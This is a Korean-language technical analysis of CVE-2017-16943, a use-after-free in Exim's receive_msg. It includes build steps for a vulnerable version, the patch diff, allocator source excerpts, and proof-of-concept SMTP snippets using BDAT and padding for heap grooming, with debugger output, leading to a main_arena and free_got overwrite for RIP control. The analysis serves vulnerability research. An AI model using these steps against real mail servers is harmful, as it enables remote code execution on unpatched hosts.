
CVE-2017-16943에 대한 기술 분석 및 개념 증명 익스플로잇. Exim MTA의 use-after-free 취약점과 힙 조작 및 RIP 하이재킹 워크스루를 포함합니다.
git clone https://github.com/Exim/exim.git
git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
cd ./exim/src
mkdir Local
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile
Makefile의 경로 변수와 사용자 이름 수정
cd ..
make -j8
sudo make install
설치 후 configure에서 accept hosts = : 를 accept hosts = *로 변경 실행:
exim -bdf -d-receive
해당 취약점은 UAF(Use-After-Free)로, receive.c의 receive_msg 함수에서 발생합니다. 이 함수는 클라이언트의 입력을 수신하는 역할을 합니다. 패치 기록을 확인해 보겠습니다:
src/src/receive.c | 7 ++++---
1 file changed, 4 insertions(+), 3 deletions(-)
diff --git a/src/src/receive.c b/src/src/receive.c
index e7e518a..d9b5001 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1810,8 +1810,8 @@ for (;;)
(and sometimes lunatic messages can have ones that are 100s of K long) we
call store_release() for strings that have been copied - if the string is at
the start of a block (and therefore the only thing in it, because we aren't
- doing any other gets), the block gets freed. We can only do this because we
- know there are no other calls to store_get() going on. */
+ doing any other gets), the block gets freed. We can only do this release if
+ there were no allocations since the once that we want to free. */
if (ptr >= header_size - 4)
{
@@ -1820,9 +1820,10 @@ for (;;)
header_size *= 2;
if (!store_extend(next->text, oldsize, header_size))
{
+ BOOL release_ok = store_last_get[store_pool] == next->text;
uschar *newtext = store_get(header_size);
memcpy(newtext, next->text, ptr);
- store_release(next->text);
+ if (release_ok) store_release(next->text);
next->text = newtext;
}
}
먼저 몇 가지 전역 변수의 역할을 명확히 하겠습니다:
current_block: 현재 storeblock, 다음 store_get_3 호출 시 이 storeblock에서 먼저 여유 영역을 찾음
next_yield: current_block 내 여유 블록의 시작 주소를 가리킴, storeblock은 일반적으로 상반부가 사용되고 하반부가 비어 있음
yield_length: next_yield의 길이
meh의 PoC 분석을 통해 패치되지 않은 프로그램에서 다음과 같은 힙 레이아웃 과정을 통해 UAF를 트리거할 수 있음을 알 수 있습니다:
먼저 receive_msg 함수에서 next->text가 storeblock의 시작 버퍼가 되도록 합니다:

그런 다음 BDAT 명령을 통해 해당 text 아래에 버퍼를 할당합니다.
왜 BDAT 명령을 사용할까요?
사실 auth plain이나 보이지 않는 문자로 구성된 잘못된 명령도 text 아래에 버퍼를 할당할 수 있지만, 다른 명령은 receive_msg 함수가 종료되게 합니다.
다시 receive_msg에 진입하면 next->text가 다른 영역을 가리키게 되어 취약점을 트리거할 수 없습니다.
반면 BDAT 명령은 현재 receive_msg 함수가 종료되지 않게 하며, 이 점이 매우 중요합니다.

그런 다음 계속해서 문자를 전송하여 next_text를 채웁니다(초기값 0x100). 그러면 프로그램이 취약점 지점에 도달합니다. store_extend에서 BDAT 버퍼로 인해 확장이 불가능함을 발견하면 store_get을 실행하여 next_yield가 가리키는 영역을 할당받고, store_release 함수를 호출합니다. 해당 함수에서는 release 인자가 storeblock의 시작인지만 확인하고, 그 뒤에 다른 버퍼가 있는지는 확인하지 않고 바로 storeblock을 해제합니다. 이로 인해 store_get이 반환한 주소가 여전히 current_block 내부에 있음에도 불구하고 current_block이 해제되어 UAF가 발생합니다.
여기서는 PoC 코드와 함께 RIP를 탈취하는 방법을 단계별로 설명합니다.
ehlo('test')
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
unrec('a'*0x1100+'\x7f')
먼저 많은 데이터를 전송하는데, 그 목적은 yield_length가 0x130보다 작고 0x30보다 크게 만드는 것입니다. 왜 이렇게 해야 할까요? receive_msg 함수의 시작 부분을 살펴보겠습니다:
...
File: receive.c
1700: received_header = header_list = header_last = store_get(sizeof(header_line));
1701: header_list->next = NULL;
1702: header_list->type = htype_old;
1703: header_list->text = NULL;
1704: header_list->slen = 0;
1705:
1706: /* Control block for the next header to be read. */
1707:
1708: next = store_get(sizeof(header_line));
1709: next->text = store_get(header_size);
...
next->text를 할당하기 전에 sizeof(header_line) 크기의 버퍼 2개를 먼저 할당하는 것을 볼 수 있습니다. 이 크기는 0x18입니다. 따라서 이 두 개의 0x18 크기 블록을 할당한 후 남은 yield_length가 0x100보다 작으면, store_get에서 next->text를 할당할 때 새로운 storeblock을 할당하고, next->text가 해당 storeblock의 시작 부분에 위치하게 됩니다.
그런 다음 BDAT 명령을 호출합니다.
r.sendline('BDAT 1')
r.sendline(':BDAT \xdd')
이 명령에 보이지 않는 문자가 포함되어 있으면 store_get이 호출되어 오류 정보를 저장할 버퍼를 할당합니다:
pwndbg> hexdump 0x71d0e0
+0000 0x71d0e0 42 44 41 54 20 5c 33 33 35 00 20 63 68 75 6e 6b │BDAT│.\33│5..c│hunk│
+0010 0x71d0f0 35 30 31 20 6d 69 73 73 69 6e 67 20 73 69 7a 65 │501.│miss│ing.│size│
+0020 0x71d100 20 66 6f 72 20 42 44 41 54 20 63 6f 6d 6d 61 6e │.for│.BDA│T.co│mman│
+0030 0x71d110 64 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │d...│....│....│....│
(잘못된 명령에 보이지 않는 문자가 포함된 경우에도 추가 힙 청크 할당이 발생합니다.)
이제 계속해서 문자를 전송합니다:
unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))
그러면 바이트 단위로 next->text에 수신된 문자가 채워집니다. 0x100의 여유 영역이 가득 차면 취약점 코드가 실행되어 next->text의 크기를 확장합니다. 먼저 store_extend(next->text, oldsize, header_size)를 호출하여 직접 크기 확장을 시도합니다:
File: store.c
266: BOOL
267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
268: int linenumber)
269: {
270: int inc = newsize - oldsize;
271: int rounded_oldsize = oldsize;
272:
273: if (rounded_oldsize % alignment != 0)
274: rounded_oldsize += alignment - (rounded_oldsize % alignment);
275:
276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
277: inc > yield_length[store_pool] + rounded_oldsize - oldsize)
278: return FALSE;
...
주요 판단은 276~277행입니다. 첫 번째 조건은 확장하려는 포인터 ptr 바로 뒤에 next_yield가 있는지 확인합니다. 두 번째 조건은 next_yield의 크기(yield_length)를 더한 값이 충분한지 확인합니다. 당연히 첫 번째 조건이 충족되지 않습니다. next->text 뒤에 BDAT 버퍼가 있고, 그 뒤에 next_yield가 있기 때문입니다.
그런 다음 store_get을 통해 새로운 블록을 할당받는데, 이 블록은 next_yield에 할당됩니다. 이어서 store_release를 호출하여 원래 next_text를 해제합니다. 여기서의 판단 로직을 주목하세요:
File: store.c
448: void
449: store_release_3(void *block, const char *filename, int linenumber)
450: {
451: storeblock *b;
452:
453: /* It will never be the first block, so no need to check that. */
454:
455: for (b = chainbase[store_pool]; b != NULL; b = b->next)
456: {
457: storeblock *bb = b->next;
458: if (bb != NULL && CS block == CS bb + ALIGNED_SIZEOF_STOREBLOCK)
459: {
...
482: free(bb);
483: return;
484: }
485: }
486: }
487:
프로그램은 chainbase에서 storeblock의 next 포인터를 따라가며, 해제할 블록이 어떤 storeblock의 시작 부분에 있는지(458행 두 번째 조건) 확인합니다. 해당 조건이 일치하면 해당 storeblock이 free됩니다. 그러나 이때 current_block은 이 힙 청크를 가리키고 있고, 새로운 next_text도 이 힙 청크 내부에 있으므로 UAF가 발생합니다. 힙 청크가 해제되면 current_block은 unsorted bin에 들어갑니다:
pwndbg> tel ¤t_block
00:0000│ 0x6e8ec0 (current_block) —▸ 0x71cfd0 —▸ 0x7ffff69abb78 (main_arena+88) —▸ 0x725020 ◂— 0x0
01:0008│ 0x6e8ec8 (current_block+8) —▸ 0x723010 ◂— 0x0
02:0010│ 0x6e8ed0 (current_block+16) ◂— 0x0
... ↓
04:0020│ 0x6e8ee0 (chainbase) —▸ 0x70ff80 ◂— 0x0
05:0028│ 0x6e8ee8 (chainbase+8) —▸ 0x6f3b30 —▸ 0x6f8cb0 —▸ 0x71eff0 —▸ 0x723010 ◂— ...
06:0030│ 0x6e8ef0 (chainbase+16) ◂— 0x0
... ↓
pwndbg>
이때 main_arena가 storeblock 체인에 추가됩니다.
문자가 계속 입력되면서 원래의 next->text는 지속적으로 store_extend를 호출하여 크기를 확장합니다. 비록 current_block이 이미 해제되었지만, next_yield는 여전히 current_block 내부를 가리키고 있으므로 next->text는 store_extend를 통해 current_block 전체를 채울 때까지 확장을 계속합니다. 마지막으로 더 이상 확장할 수 없게 되면 다시 store_get을 호출하여 새로운 힙 청크를 획득합니다:
File: store.c
128: void *
129: store_get_3(int size, const char *filename, int linenumber)
130: {
...
137: if (size % alignment != 0) size += alignment - (size % alignment);
138:
139: /* If there isn't room in the current block, get a new one. The minimum
140: size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since
141: these functions are mostly called for small amounts of store. */
142:
143: if (size > yield_length[store_pool])
144: {
145: int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
146: int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
147: storeblock * newblock = NULL;
148:
149: /* Sometimes store_reset() may leave a block for us; check if we can use it */
150:
151: if ( (newblock = current_block[store_pool])
152: && (newblock = newblock->next)
153: && newblock->length < length
154: )
155: {
156: /* Give up on this block, because it's too small */
157: store_free(newblock);
158: newblock = NULL;
159: }
...
151~153행에서 프로그램이 current_block->next를 가져와서 이 힙 청크가 할당할 만큼 충분한지 판단하는 것을 볼 수 있습니다. 충분하지 않으면 해당 청크를 free합니다. 현재 current_block은 unsorted bin에 있고, current_block->next는 main_arena를 가리키므로 마지막 조건이 충족되지 않아 newblock은 main_arena가 됩니다.
File: store.c
176: current_block[store_pool] = newblock;
177: yield_length[store_pool] = newblock->length;
178: next_yield[store_pool] =
179: (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK);
180: (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]);
181: }
...
186: store_last_get[store_pool] = next_yield[store_pool];
...
211: return store_last_get[store_pool];
이때 프로그램은 main_arena를 새로운 버퍼로 직접 반환하고, 이어서 1824행에서 원래 힙 청크의 내용을 새로운 힙 청크로 복사하여 main_arena를 덮어씁니다.
File: receive.c
1816: if (ptr >= header_size - 4)
1817: {
1818: int oldsize = header_size;
1819: /* header_size += 256; */
1820: header_size *= 2;
1821: if (!store_extend(next->text, oldsize, header_size))
1822: {
1823: uschar *newtext = store_get(header_size);
1824: memcpy(newtext, next->text, ptr);
1825: store_release(next->text);
1826: next->text = newtext;
1827: }
1828: }
이번 덮어쓰기는 직접 free_got를 덮어쓰게 되므로, 이후 적절히 조작하여 RIP를 탈취할 수 있습니다.